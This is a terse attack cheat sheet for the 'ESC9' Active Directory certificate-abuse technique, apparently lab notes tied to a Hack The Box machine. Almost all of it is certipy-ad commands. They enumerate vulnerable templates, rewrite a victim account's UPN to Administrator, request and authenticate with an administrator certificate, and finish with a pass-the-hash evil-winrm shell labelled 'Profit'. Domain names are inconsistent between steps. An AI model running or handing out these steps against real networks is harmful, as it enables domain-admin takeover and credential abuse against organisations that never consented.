Technique

ESC9

 

1.0 certipy-ad

1.1 Find Vulnerabilities

certipy-ad find -u user@domain.local -p $pass --vulnerable --stdout

1.2 Modify UPN

certipy-ad account update -username 'user@domain.local' -hashes $userhash -user $targetuser -upn Administrator 

1.3 Request certificate

certipy-ad req -username 'targetuser@certified.htb' -p $pass -ca 'CA-DC' -template CTemplate -debug 

1.4 Authenticate

certipy-ad auth -pfx administrator.pfx -domain domain.local -debug

1.5 Profit

evil-winrm -i $ip -u administrator -H $hash

References